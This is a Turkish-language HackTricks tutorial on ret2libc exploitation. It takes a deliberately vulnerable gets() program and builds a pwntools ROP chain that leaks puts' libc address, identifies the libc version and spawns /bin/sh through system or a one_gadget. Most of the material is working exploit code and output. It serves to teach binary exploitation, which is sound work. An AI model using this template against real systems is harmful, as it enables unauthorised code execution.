Leaking libc address with ROP

HackTricks'i Destekleyin

Hızlı Özeti

  1. Taşma offset'ini bulun

  2. POP_RDI gadget'ını, PUTS_PLT ve MAIN gadget'larını bulun

  3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun bellek adresini sızdırın ve libc sürümünü bulun (indirin)

  4. Kütüphane ile, ROP'u hesaplayın ve istismar edin

Pratik yapacak diğer eğitimler ve ikili dosyalar

Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Diğer yararlı eğitimler: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Dosya adı: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC Sızıntı Şablonu

Exploit'i indirin ve onu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin:

Leaking libc - template

1- Ofseti Bulma

Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, bunu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Çalıştır python template.py bir GDB konsolu açılacak ve program çökertilecektir. O GDB konsolu içinde x/wx $rsp komutunu çalıştırarak RIP'i geçecek olan baytları al. Son olarak, bir python konsolu kullanarak offset'i al:

from pwn import *
cyclic_find(0x6161616b)

Offset'u bulduktan sonra (bu durumda 40) bu değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin. OFFSET = "A" * 40

Başka bir yol ise: pattern create 1000 -- ret'e kadar çalıştır -- pattern seach $rsp komutunu GEF'den kullanmaktır.

2- Gadget'ları Bulma

Artık ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan libc'yi bulmak için puts çağırmak ve daha sonra son istismarı başlatmak için faydalı olacaktır.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

The PUTS_PLT, puts fonksiyonunu çağırmak için gereklidir. MAIN_PLT, bir etkileşimden sonra main function'ı tekrar çağırmak için gereklidir, böylece taşmayı tekrar exploit edebiliriz (sonsuz exploit turları). Her ROP'un sonunda programı tekrar çağırmak için kullanılır. POP_RDI, çağrılan fonksiyona bir parametre geçmek için gereklidir.

Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır.

3- libc kütüphanesini bulma

Artık hangi sürümde libc kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, puts fonksiyonunun bellek adresini leak edeceğiz ve ardından bu adreste hangi kütüphane sürümü olduğunu arama yapacağız.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Bunu yapmak için, yürütülen kodun en önemli satırı şudur:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Bu, bazı baytları RIP'i aşındırmak mümkün olana kadar gönderecektir: OFFSET. Sonra, POP_RDI gadget'ının adresini ayarlayacak, böylece bir sonraki adres (FUNC_GOT) RDI kaydında saklanacaktır. Bunun nedeni, puts'u çağırmak ve ona PUTS_GOT'ın adresini geçmektir çünkü puts fonksiyonunun bellek içindeki adresi PUTS_GOT tarafından işaret edilen adreste saklanmaktadır. Bundan sonra, PUTS_PLT çağrılacak (içinde RDI'de PUTS_GOT ile) böylece puts, PUTS_GOT içindeki içeriği okuyacak (puts fonksiyonunun bellek içindeki adresi) ve yazdıracaktır. Son olarak, ana fonksiyon tekrar çağrılır böylece taşmayı tekrar istismar edebiliriz.

Bu şekilde, puts fonksiyonunu belirli bir adresi yazdırması için kandırdık (bu adres libc kütüphanesinin içindedir). Artık bu adrese sahip olduğumuza göre, hangi libc sürümünün kullanıldığını arayabiliriz.

Yerel bir ikiliyi istismar ettiğimiz için, hangi libc sürümünün kullanıldığını bulmamıza gerek yoktur (sadece /lib/x86_64-linux-gnu/libc.so.6 içindeki kütüphaneyi bul). Ancak, uzaktan bir istismar durumunda burada nasıl bulabileceğinizi açıklayacağım:

3.1- libc sürümünü arama (1)

Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: https://libc.blukat.me/ Ayrıca, keşfedilen libc sürümünü indirmenize de izin verecektir.

3.2- libc sürümünü arama (2)

Ayrıca şunları yapabilirsiniz:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Bu biraz zaman alacaktır, sabırlı olun. Bunun çalışması için şunlara ihtiyacımız var:

  • Libc sembol adı: puts

  • Sızdırılan libc adresi: 0x7ff629878690

Hangi libc'nin muhtemelen kullanıldığını belirleyebiliriz.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so dosyasını çalışma dizinimize kopyalayın.

3.3- Sızdırmak için diğer fonksiyonlar

puts
printf
__libc_start_main
read
gets

4- Bulunan libc adresi ve istismar

Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: /lib/x86_64-linux-gnu/libc.so.6

Bu nedenle, template.py dosyasının başında libc değişkenini şuna değiştirin: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın

libc kütüphanesine yolu vererek, geri kalan istismar otomatik olarak hesaplanacaktır.

get_addr fonksiyonu içinde libc'nin temel adresi hesaplanacaktır:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Not edin ki son libc temel adresi 00 ile bitmelidir. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz.

Daha sonra, system fonksiyonunun adresi ve adres "/bin/sh" dizesi libc'nin temel adresinden hesaplanacak ve libc kütüphanesi verilecektir.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Son ROP'u açıklayalım. Son ROP (rop1), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden yine istismar edebiliriz overflow (bu yüzden OFFSET burada tekrar var). Ardından, "/bin/sh" (BINSH) adresine işaret eden POP_RDI'yi çağırmak istiyoruz ve system fonksiyonunu (SYSTEM) çağırmak istiyoruz çünkü "/bin/sh" adresi bir parametre olarak geçecektir. Son olarak, çıkış fonksiyonunun adresi çağrılır böylece işlem güzel bir şekilde çıkar ve herhangi bir uyarı üretilmez.

Bu şekilde istismar bir _/bin/sh_** shell'i çalıştıracaktır.**

4(2)- ONE_GADGET KULLANMA

Ayrıca, system ve "/bin/sh" kullanmak yerine bir shell elde etmek için ONE_GADGET kullanabilirsiniz. ONE_GADGET, libc kütüphanesi içinde sadece bir ROP adresi kullanarak bir shell elde etmenin bir yolunu bulacaktır. Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kaçınması kolay olanlar [rsp+0x30] == NULL gibidir. RSP içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT DOSYASI

Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz:

Leaking libc - template

Yaygın problemler

MAIN_PLT = elf.symbols['main'] bulunamadı

Eğer "main" sembolü yoksa. O zaman ana kodun nerede olduğunu bulabilirsiniz:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

ve adresi manuel olarak ayarlayın:

MAIN_PLT = 0x401080

Puts bulunamadı

Eğer ikili dosya Puts kullanmıyorsa, bunun yerine kullanıp kullanmadığını kontrol etmelisiniz.

sh: 1: %s%s%s%s%s%s%s%s: bulunamadı

Eğer tüm istismarı oluşturduktan sonra bu hata ile karşılaşırsanız: sh: 1: %s%s%s%s%s%s%s%s: bulunamadı

"/bin/sh" adresinden 64 byte çıkarmayı deneyin:

BINSH = next(libc.search("/bin/sh")) - 64
HackTricks'i Destekleyin

Last updated